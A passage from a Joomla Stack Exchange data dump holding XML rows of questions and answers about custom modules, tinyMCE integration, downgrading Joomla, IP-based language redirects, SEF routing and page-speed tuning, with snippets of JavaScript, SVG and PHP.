id=&quot;Rectangle_245&quot; data-name=&quot;Rectangle 245&quot; width=&quot;30&quot; height=&quot;29.6&quot; transform=&quot;translate(2076 631)&quot; fill=&quot;none&quot;/&amp;gt;&#xA;                  &amp;lt;/g&amp;gt;&#xA;                  &amp;lt;/svg&amp;gt;`},&#xA;            { id: 'qbox-panic-button', description: 'A prominent physical hardware button resides underneath the wall-mounted devices enabling authorized personnel to launch a panic alert.', img: 'https://quicklert.com/images/Qbox_page/qbox-panic-button.png', icon: `&amp;lt;svg viewBox=&quot;0 0 30 30&quot;&amp;gt;&#xA;                  &amp;lt;g id=&quot;s-Panic_Button&quot; data-name=&quot;s-Panic Button&quot; transform=&quot;translate(-2076 -955)&quot;&amp;gt;&#xA;                    &amp;lt;g id=&quot;s_Button&quot; transform=&quot;translate(2076 955)&quot;&amp;gt;&#xA;                      &amp;lt;g id=&quot;Group_2175&quot; data-name=&quot;Group 2175&quot; transform=&quot;translate(8.592 7.524)&quot;&amp;gt;&#xA;                        &amp;lt;path id=&quot;Path_350&quot; data-name=&quot;Path 350&quot; d=&quot;M43.326,35.4a4,4,0,0,0-2.693-3.78,1.3,1.3,0,0,0,.023-.224,1.335,1.335,0,1,0-2.67,0,1.3,1.3,0,0,0,.023.224,4,4,0,0,0-2.693,3.78c0,5.607-2.4,3.738-2.4,5.607,0,1.032,2.869,1.869,6.408,1.869s6.408-.837,6.408-1.869C45.728,39.143,43.326,41.012,43.326,35.4Z&quot; transform=&quot;translate(-32.913 -30.065)&quot; fill=&quot;#202124&quot;/&amp;gt;&#xA;                        &amp;lt;path id=&quot;Path_351&quot; data-name=&quot;Path 351&quot; d=&quot;M46.9,65.514c-.645,0-1.267-.033-1.86-.09a1.868,1.868,0,0,0,3.72,0C48.167,65.481,47.545,65.514,46.9,65.514Z&quot; transform=&quot;translate(-40.492 -52.164)&quot; fill=&quot;#202124&quot;/&amp;gt;&#xA;                      &amp;lt;/g&amp;gt;&#xA;                      &amp;lt;path id=&quot;Path_352&quot; data-name=&quot;Path 352&quot; d=&quot;M25,10A15,15,0,1,0,40,25,15,15,0,0,0,25,10Zm0,28.125A13.125,13.125,0,1,1,38.125,25,13.14,13.14,0,0,1,25,38.125Z&quot; transform=&quot;translate(-10 -10)&quot; fill=&quot;#202124&quot;/&amp;gt;&#xA;                    &amp;lt;/g&amp;gt;&#xA;                    &amp;lt;rect id=&quot;Rectangle_247&quot; data-name=&quot;Rectangle 247&quot; width=&quot;30&quot; height=&quot;30&quot; transform=&quot;translate(2076 955)&quot; fill=&quot;none&quot;/&amp;gt;&#xA;                  &amp;lt;/g&amp;gt;&#xA;                  &amp;lt;/svg&amp;gt;`},&#xA;            { id: 'qbox-bottom-sensors', description: 'Advanced sensor panel includes:', img: 'https://quicklert.com/images/Qbox_page/qbox-sensors.png', icon: `&amp;lt;svg viewBox=&quot;0 0 59.438 27.001&quot;&amp;gt;&#xA;                  &amp;lt;g id=&quot;Group_2827&quot; data-name=&quot;Group 2827&quot; transform=&quot;translate(-1037.435 -2034.913)&quot;&amp;gt;&#xA;                    &amp;lt;path id=&quot;Subtraction_2&quot; data-name=&quot;Subtraction 2&quot; d=&quot;M-8755.667,180.728a12.427,12.427,0,0,1-8.751-3.576,11.275,11.275,0,0,1-6.88,2.153,13.884,13.884,0,0,1-7.416-2.543,19.18,19.18,0,0,1-5.307-5.243,4.5,4.5,0,0,0,.947-2.977,4.183,4.183,0,0,0-1.181-3.194,19.213,19.213,0,0,1,5.307-5.471,13.973,13.973,0,0,1,7.649-2.728,11.275,11.275,0,0,1,6.88,2.153,12.421,12.421,0,0,1,8.751-3.576,12.462,12.462,0,0,1,8.545,3.377,11.384,11.384,0,0,1,6.608-1.954,14.147,14.147,0,0,1,7.926,2.924,18.412,18.412,0,0,1,5.28,5.716,4.785,4.785,0,0,0-.765,2.753,5.067,5.067,0,0,0,.587,2.477,18.712,18.712,0,0,1-5.3,5.53,14.076,14.076,0,0,1-7.727,2.756,11.382,11.382,0,0,1-6.608-1.954A12.464,12.464,0,0,1-8755.667,180.728Z&quot; transform=&quot;translate(9823 1880.186)&quot; fill=&quot;rgba(0,0,0,0)&quot; stroke=&quot;#4f5355&quot; stroke-miterlimit=&quot;10&quot; stroke-width=&quot;2&quot;/&amp;gt;&#xA;                    &amp;lt;circle id=&quot;Ellipse_333&quot; data-name=&quot;Ellipse 333&quot; cx=&quot;7.5&quot; cy=&quot;7.5&quot; r=&quot;7.5&quot; transform=&quot;translate(1059.833 2040.913)&quot; fill=&quot;none&quot; stroke=&quot;#4f5355&quot; stroke-miterlimit=&quot;10&quot; stroke-width=&quot;2&quot;/&amp;gt;&#xA;                  &amp;lt;/g&amp;gt;&#xA;                  &amp;lt;/svg&amp;gt;`}&#xA;            ];&#xA;&#xA;          for (i = 0; i &amp;lt; qboxes.length; i++) {&#xA;            if (i === 0) {&#xA;              document.writeln('&amp;lt;img class=&quot;qbox-sensors-img ' + qboxes[i].id + '-img' + ' active&quot; src=&quot;' + qboxes[i].img + '&quot; alt=&quot;&quot;&amp;gt;');&#xA;              continue;&#xA;            }&#xA;            document.writeln('&amp;lt;img class=&quot;qbox-sensors-img ' + qboxes[i].id + '-img' + '&quot; src=&quot;' + qboxes[i].img + '&quot; alt=&quot;&quot;&amp;gt;');&#xA;          }&#xA;        &amp;lt;/script&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;descriptions row&quot;&amp;gt;&#xA;      &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        function mouseover(id) {&#xA;          let active = document.getElementsByClassName('qbox-sensors-container')[0].getElementsByClassName('active')[0];&#xA;              active.className = active.className.replace(' active', '');&#xA;&#xA;          let nextActive = document.getElementsByClassName(id + '-' + 'img')[0];&#xA;              nextActive.className = nextActive.className + ' active';&#xA;        }&#xA;&#xA;        function mouseout() {&#xA;          let active = document.getElementsByClassName('qbox-sensors-container')[0].getElementsByClassName('active')[0];&#xA;              active.className = active.className.replace(' active', '');&#xA;&#xA;          let nextActive = document.getElementsByClassName('qbox-sensors-img')[0];&#xA;              nextActive.className = nextActive.className + ' active';&#xA;        }&#xA;&#xA;        for (i = 1; i &amp;lt; qboxes.length; i++) {&#xA;          document.writeln('&amp;lt;div class=&quot;col-md-4 description text-center ' + qboxes[i].id + '-description' + '&quot; onmouseover=&quot;mouseover(`' + qboxes[i].id + '`)&quot; onmouseout=&quot;mouseout()&quot;&amp;gt;');&#xA;          document.writeln('&amp;lt;div class=&quot;icon&quot;&amp;gt;' + qboxes[i].icon + '&amp;lt;/div&amp;gt;');&#xA;          document.writeln('&amp;lt;div class=&quot;text&quot;&amp;gt;' + qboxes[i].description + '&amp;lt;/div&amp;gt;');&#xA;          document.writeln('&amp;lt;/div&amp;gt;');&#xA;        }&#xA;      &amp;lt;/script&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13602" LastEditorUserId="12352" LastEditDate="2019-06-17T23:18:08.327" LastActivityDate="2024-02-22T08:03:10.373" Title="Custom module doesn't work, messing up all page, messing up editor" Tags="|custom-component|custom-module|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24839" PostTypeId="2" ParentId="24838" CreationDate="2019-06-17T23:16:31.493" Score="0" Body="&lt;p&gt;After painstakingly retabbing your posted code from my phone, it appears your code has been wrapped in a &lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; tag.  Sometimes editors automate this to generate valid html, however, in your case, it has broken your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend manually removing the leading &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;and trailing &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt; to return things to normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I find the backticks around your &lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt; tags a little concerning -- I feel like they should be single quotes (apostrophes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some general background reading about the tomfoolery that can occur with text editors depending on the editing mode: &lt;a href=&quot;https://joomla.stackexchange.com/q/3610/12352&quot;&gt;how to prevent JCE from removing/replacing divs on copy/paste&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-17T23:23:13.460" LastActivityDate="2019-06-17T23:23:13.460" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24840" PostTypeId="1" CreationDate="2019-06-18T04:13:13.580" Score="1" ViewCount="116" Body="&lt;p&gt;I'm trying to integrate tinyMCE with my component but I'm getting issues with embedding tinyMCE JS and switching it from default. I've tried removing  &#xA;                WYSIWYG.attach and replacing with the below. Then renaming textarea id= to textarea id=\&quot;mytextarea1\&quot; but no luck. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src='https://cloud.tinymce.com/stable/tinymce.min.js'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;    tinymce.init({&#xA;        selector: '.mytextarea1'&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($type==&quot;text&quot;) {&#xA;        if (strpos($name,&quot;color&quot;)) { &#xA;            $picker = &quot;&amp;lt;a href=\&quot;javascript:TCP.popup(document.forms[3].elements['$name'], 1)\&quot;&amp;gt;&amp;lt;img width=\&quot;15\&quot; height=\&quot;13\&quot; border=\&quot;0\&quot; alt=\&quot;Click Here to Pick up the color\&quot; src=\&quot;img/sel.gif\&quot;&amp;gt;&amp;lt;/a&amp;gt;&quot;;&#xA;        }&#xA;        $this-&amp;gt;form .= &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;$display : &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=\&quot;text\&quot; size=\&quot;$size\&quot; name=\&quot;$name\&quot; value=\&quot;$value\&quot;&amp;gt;$picker&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;         &#xA;    }&#xA;    if ($type==&quot;textarea&quot;) {&#xA;        $this-&amp;gt;form .= &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;$display : &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;textarea rows=\&quot;$size\&quot; cols=\&quot;40\&quot; name=\&quot;$name\&quot;&amp;gt;$value&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;           &#xA;    }&#xA;    if ($type==&quot;ow&quot;) {&#xA;        $size = $size.&quot;px&quot;;&#xA;        $this-&amp;gt;form .= &quot;&#xA;            &amp;lt;script type=\&quot;text/javascript\&quot;&amp;gt;&#xA;                WYSIWYG.attach('text', full);&#xA;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;$display : &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;textarea id=\&quot;text\&quot; style=\&quot;width:80%;height:$size;\&quot; name=\&quot;$name\&quot;&amp;gt;$value&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;            &quot;;          &#xA;    }               &#xA;    if ($type==&quot;hidden&quot;) {&#xA;        $this-&amp;gt;form .= &quot;&amp;lt;input type=\&quot;hidden\&quot; name=\&quot;$name\&quot; value=\&quot;$value\&quot;&amp;gt;&quot;;           &#xA;    }               &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13603" LastActivityDate="2019-06-18T04:13:13.580" Title="Changing default editor in component to tinyMCE" Tags="|joomla-3.x|custom-component|tinymce|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24841" PostTypeId="1" CreationDate="2019-06-19T14:16:43.587" Score="0" ViewCount="426" Body="&lt;p&gt;Accidentally I upgrade Joomla version from 3.6 to 3.9 and it was a big mistake, as it destructed all alignment on home page.  Need to know, how to downgrade to 3.6 back?&lt;/p&gt;&#xA;" OwnerUserId="13607" LastActivityDate="2019-06-22T07:31:48.343" Title="How to Downgrade from 3.9 to 3.6" Tags="|joomla-3.6|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24842" PostTypeId="2" ParentId="24794" CreationDate="2019-06-19T20:45:39.230" Score="2" Body="&lt;p&gt;Yes. This will be short -- you need to understand the code you're working with because this technique is one of the most powerful ones Joomla affords you and there is basically no documentation of it apart from the code itself, so do it only after tracking through the code and understanding the ramifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTMLHelper has a register method you can call to register a routine of your own with it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::register('react', MyClass::loadReact)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once this gets executed, any call to JHtml::_('react') will execute the loadReact method in the class MyClass. The basic idea is it keeps a list of keys that point to methods it needs to call, none of which are required to be members of itself. Then, when told to call that key, it looks it up and executes it. It's the same mechanism used to load bootstrap and jquery today.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastEditorUserId="5394" LastEditDate="2019-07-16T13:27:39.923" LastActivityDate="2019-07-16T13:27:39.923" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24843" PostTypeId="2" ParentId="24841" CreationDate="2019-06-20T00:05:29.150" Score="4" Body="&lt;p&gt;You should restore a back up that you took of your site prior to the accidental upgrade. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There has been 31 releases between 3.6 and 3.9.9 where something like 3.7 alone introduced 700 improvements including structural changes to the database for things like Custom Fields. 3.8 and 3.9 have been preparing Joomla for compatibility with Joomla 4 with some minor releases having between 50 and 300 packaged updates/improvements each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no automated way in Joomla to roll back updates that i am aware of, so to be able to manually restore nearly 3 years worth of updates without causing further problems would be close to impossible IMHO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you have a back up I would say you need to follow any advice provided to get your now 3.9x environment working correctly. And take more back ups.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-06-20T00:05:29.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24844" PostTypeId="1" CreationDate="2019-06-20T10:44:09.880" Score="0" ViewCount="114" Body="&lt;p&gt;I try create system plugin for auto change language by IP.&#xA;I don't have idea how to correctly write code so as not to receive an infinite loop of redirection requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemAutochangelang extends JPlugin&#xA;{&#xA;    public function onBeforeRender(){&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        $session = JFactory::getSession();&#xA;&#xA;        // Use this plugin only in site application.&#xA;        if ($app-&amp;gt;isClient('site')) {&#xA;            $get_country = file_get_contents(&quot;http://ipinfo.io/{$_SERVER['REMOTE_ADDR']}/country&quot;);&#xA;&#xA;&#xA;            $lang = $app-&amp;gt;getLanguage();&#xA;            $locale = $lang-&amp;gt;getTag();&#xA;            //echo $get_country.&quot; &quot;;&#xA;            //echo $locale.&quot; &quot;;&#xA;&#xA;&#xA;            if ($get_country !== 'UA' &amp;amp;&amp;amp; $locale !== 'uk-UA'){&#xA;               JFactory::getApplication()-&amp;gt;redirect(JRoute::_('ru/'));&#xA;            }&#xA;&#xA;        }&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Who can help me, guys?&lt;/p&gt;&#xA;" OwnerUserId="13608" LastActivityDate="2019-07-17T06:26:06.120" Title="How to change the site language by country IP" Tags="|joomla-3.x|plugin|redirect|system-plugin|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24846" PostTypeId="2" ParentId="24844" CreationDate="2019-06-21T23:46:01.997" Score="1" Body="&lt;p&gt;If the client forces it, I would go with the @mickmackusa approach and check if the language has been set via a value in the session and only if it hasn't  then execute your code to get the IP and resolve the correct language to use. You would also need to be triggering this plugin very early on in processing to ensure the right language files are used. Even though the call to the session details is a lot more economical than the http call to get the IP info, it seems like a waste for it to happen every time someone loads/relaods a page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also agree with @FFreewin and that user should be deciding what language they want to use so maybe a check of the session value and if not set, then check the IP and prompt with a pop up 'Would you like to change your Language to xx?'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option that might be useful is the System - Language Filter plugin that comes with Joomla that appears to allow you to switch the Language automatically based upon the visitors Browser Language settings which maybe more reliable than checking the IP. If you don't want to check the Browser, looking at the code in the plugin might give you ideas as it appears to store the value in a cookie for the session.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-06-22T12:27:51.780" LastActivityDate="2019-06-22T12:27:51.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24847" PostTypeId="2" ParentId="24841" CreationDate="2019-06-22T07:31:48.343" Score="1" Body="&lt;p&gt;I agree with &lt;a href=&quot;https://joomla.stackexchange.com/users/13306/irata&quot;&gt;Irata&lt;/a&gt; but there may be a simpler solution without having to roll back to Joomla 3.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on which template you are using, and depending on whether there were custom changes to the template CSS file or a separate custom CSS file, you may be able to fix the alignment problems by reverting back to the original CSS file that came with the template and/or reapplying the custom CSS changes or custom CSS file, if this is able to be recovered from a backup or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no backup, then I recommend trying to fix the alignment problems via a custom CSS file or similar and go forwards rather than backwards which could cause more problems than it fixes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always run a backup before making changes so you can undo the changes if needed.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-06-22T07:31:48.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24850" PostTypeId="1" CreationDate="2019-06-24T05:24:28.237" Score="0" ViewCount="215" Body="&lt;p&gt;I've been trying to integrate this API: &lt;a href=&quot;https://googlechrome.github.io/samples/presentation-api/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://googlechrome.github.io/samples/presentation-api/&lt;/a&gt;&#xA;with my project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it always generates this error in the browser console:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught ReferenceError: PresentationRequest is not defined&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It was perfectly fine if I create a new project with just 2 html to test out the controller and web presentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it due to javascript conflict with my project's .js files?&lt;/p&gt;&#xA;" OwnerUserId="5613" LastEditorUserId="12352" LastEditDate="2019-06-24T08:37:40.490" LastActivityDate="2019-06-24T08:37:40.490" Title="Presentation API PresentationRequest is not defined" Tags="|javascript|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24851" PostTypeId="1" CreationDate="2019-06-24T10:44:47.473" Score="1" ViewCount="23" Body="&lt;p&gt;I have Joomla Version 3.9.8 and Community Builder Version 2.4.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I configure the custom User Management Column Headers in Community Builder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default column headers are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checkbox, Name, Username, Online, Group, Email, Registered, Last Visit, Banned, Enabled, Confirmed, Approved, Id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My desired headers are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checkbox, Name, Username, Email, &lt;strong&gt;Subscriptions&lt;/strong&gt;, Last Visit, &lt;strong&gt;Expiry Date&lt;/strong&gt;, &lt;strong&gt;Member Number&lt;/strong&gt;, &lt;strong&gt;Status&lt;/strong&gt;, &lt;strong&gt;Plan&lt;/strong&gt;, Id&lt;/p&gt;&#xA;" OwnerUserId="13606" LastEditorUserId="12352" LastEditDate="2019-07-20T04:49:50.427" LastActivityDate="2019-07-20T04:49:50.427" Title="Custom User Management Column Headers in Community Builder" Tags="|community-builder|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24852" PostTypeId="1" CreationDate="2019-06-24T11:05:46.693" Score="2" ViewCount="28" Body="&lt;p&gt;I have the following problem/setup:&#xA;I develop a custom component in Joomla that has multiple views. The views should have links to each other. If I enable SEF in the global configuration, the links in the menu are something like &lt;code&gt;/index.php/&amp;lt;menu-alias&amp;gt;&lt;/code&gt; or &lt;code&gt;/&amp;lt;menu-alias&amp;gt;&lt;/code&gt; depending on the rewriting rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume the views to be called &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt;. The corresponding menu entries have aliases &lt;code&gt;menuA&lt;/code&gt; and &lt;code&gt;menuB&lt;/code&gt; (just for simpler communication here). If I open the &lt;code&gt;menuA&lt;/code&gt; entry, a link to view &lt;code&gt;b&lt;/code&gt; will look like &lt;code&gt;/menuA?view=b&lt;/code&gt;. I would rather prefer to have a url like &lt;code&gt;/menuB&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this changed url because the menu entries will not be in the very same menu and the visibility of the menu's module will depend on the current menu entry. And this will break depending of the url to be either &lt;code&gt;/menuA?view=b&lt;/code&gt; or &lt;code&gt;/viewB&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component#Routers_and_Menu_Items&quot; rel=&quot;nofollow noreferrer&quot;&gt;this documentation on joomla docs&lt;/a&gt; that clearly indicates the way the routing works and that a modification (call it optimization) of the url needs to be performed before SEF rules are applied. However there are no &lt;code&gt;[Component]RouteHelper&lt;/code&gt; classes in the current joomla core as mentioned and I think the class &lt;code&gt;Joomla\CMS\Helper\RouteHelper&lt;/code&gt; is not what I am looking for (at least I do not get a good documentation on its usage).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/24677519/force-joomla-jroute-to-use-the-menu-item&quot;&gt;Another stack exchange question&lt;/a&gt; gave me the impression that manual searching in the database might be an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find the correct url of the &quot;other&quot; view programatically in a clean way?&lt;/p&gt;&#xA;" OwnerUserId="9259" LastActivityDate="2019-06-24T11:05:46.693" Title="Selecting the correct menu entry in a self written component" Tags="|custom-component|menu|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24853" PostTypeId="1" CreationDate="2019-06-24T14:11:07.180" Score="1" ViewCount="270" Body="&lt;p&gt;I have a site with joomla with a good template and excellent performance. The only problem remains the same: the speed for mobile on google pagespeed.&#xA;On my site with joomla 3.9.x I have activated all the caches:&#xA;1) JCH Optimize&#xA;2) Page Cache&#xA;3) Cache in global configuration and compression in GZIP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the moment the speed is 37/47 on mobile and 83/90 on Desktop.&#xA;Google always reports: &quot;Delete view blocking resources&quot;, referring to the js and css files. Finally it also indicates that there is an unused js and css code.&#xA;These slowdowns mean 2.5 seconds more upload for google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried everything to improve this aspect but the problem of the js and css that slow down the speed on page speed remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how I could do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7288" LastActivityDate="2019-06-25T12:14:16.747" Title="Joomla 3.9.X: Website speed on page speed" Tags="|joomla-3.x|templates|javascript|css|cache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24854" PostTypeId="2" ParentId="24853" CreationDate="2019-06-24T14:32:09.860" Score="1" Body="&lt;p&gt;Firstly, I'd suggest not using Google PageSpeed, but instead the &quot;Audit&quot; tool build into the Web Developer Tools (uses LightHouse). Simply press &quot;F12&quot; to open the developer tools, then navigate to the &quot;Audit&quot; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with pre-made templates is they tend to use massive frameworks such as Bootstrap, UIKit or Foundation. They'll load the entire framework when only about 30% of it actually get used. This is the main reason why I hate template clubs. They focus purely on the visuals and pay absolutely no attention to performance. And yes, this applies to all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your template may use Joomla's LESS compiler, which will allow you to remove some of the imported LESS file that aren't being used anywhere on the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the Javascript, you can use a plugin to remove any unused files on the website that may have been accidentally called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to be blunt, if your scores for mobile are averaging around 37/47, then it's &lt;strong&gt;NOT&lt;/strong&gt; a &lt;code&gt;good template and excellent performance&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always test the performance before using a template.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-06-24T14:32:09.860" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24855" PostTypeId="2" ParentId="24853" CreationDate="2019-06-24T14:43:39.067" Score="1" Body="&lt;p&gt;@Lodder's answer is probably the best one.  However, for those who cannot easily change their template, I recommend trying jQuery Profiles to remove unnecessary scripts and try JotCache as it can work with JCH Optimize to handle the caching better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;&lt;a href=&quot;https://extensions.joomla.org/extension/jquery-easy-profiles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/jquery-easy-profiles/&lt;/a&gt;&#xA;Install it and use feature to load the version of jQuery you desire and remove other instances of it.  Same for Bootstrap.  You can use the Reports feature to show a popup when logged in as Super User on frontend which shows you what JS and CSS is being loaded. You can then set it to remove ones you choose.  It's really powerful as you can define those rules to specific pages using its module and assignments. So you can have it add or remove JS/CSS on pages by menu item, component type, etc.&lt;/p&gt;&#xA;" OwnerUserId="464" LastEditorUserId="464" LastEditDate="2019-06-25T12:14:16.747" LastActivityDate="2019-06-25T12:14:16.747" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24856" PostTypeId="1" CreationDate="2019-06-25T04:03:48.697" Score="0" ViewCount="20" Body="&lt;p&gt;I am looking for any suggestions or recommendations of where I could direct new-to-Joomla end users who want to make changes to their website that I have built for them. Something that gives content to Joomla &amp;amp; CMS's, Articles, Menus, Modules and how to edit them, that there is a front end and back end, and why uploading pictures isn't as simple as using Faceboook or Instagram etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at the Joomla Docs pages and it is more about getting started with installing your Joomla environment but what I am looking for is targeted at people who just want to edit their content and maybe add some more content while someone else, me, looks after all that other stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA,&#xA;Terry &lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-06-25T04:03:48.697" Title="Suggestions for documentation for end users" Tags="|documentation|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24857" PostTypeId="2" ParentId="24831" CreationDate="2019-06-25T06:23:28.570" Score="0" Body="&lt;p&gt;The field uses &lt;code&gt;JHtmlContentLanguage::existing()&lt;/code&gt; to get the languages. You can use it too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the languages.&#xA;$languages = JHtml::_('contentlanguage.existing');&#xA;&#xA;// Render the dropdown.&#xA;$DropdownCode = JHtml::_('select.genericlist', $languages, 'contentlanguage', array('class' =&amp;gt; 'text_area', 'size' =&amp;gt; '1'), 'value', 'text', $selectedlanguage);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-06-25T06:23:28.570" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24858" PostTypeId="2" ParentId="8890" CreationDate="2019-06-25T08:57:52.300" Score="0" Body="&lt;p&gt;I ran into this where it couldn't find the template &lt;code&gt;default&lt;/code&gt; in spite of the template being exactly where it was supposed to be in the custom MVC component I was developing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case it turned out to be because I was extending &lt;code&gt;JViewLegacy&lt;/code&gt; and I had my own &lt;code&gt;__construct&lt;/code&gt; function but I had forgotten to call &lt;code&gt;parent::__construct()&lt;/code&gt; in there so the base view wasn't initialised and it didn't know it's own path.&lt;/p&gt;&#xA;" OwnerUserId="9900" LastActivityDate="2019-06-25T08:57:52.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
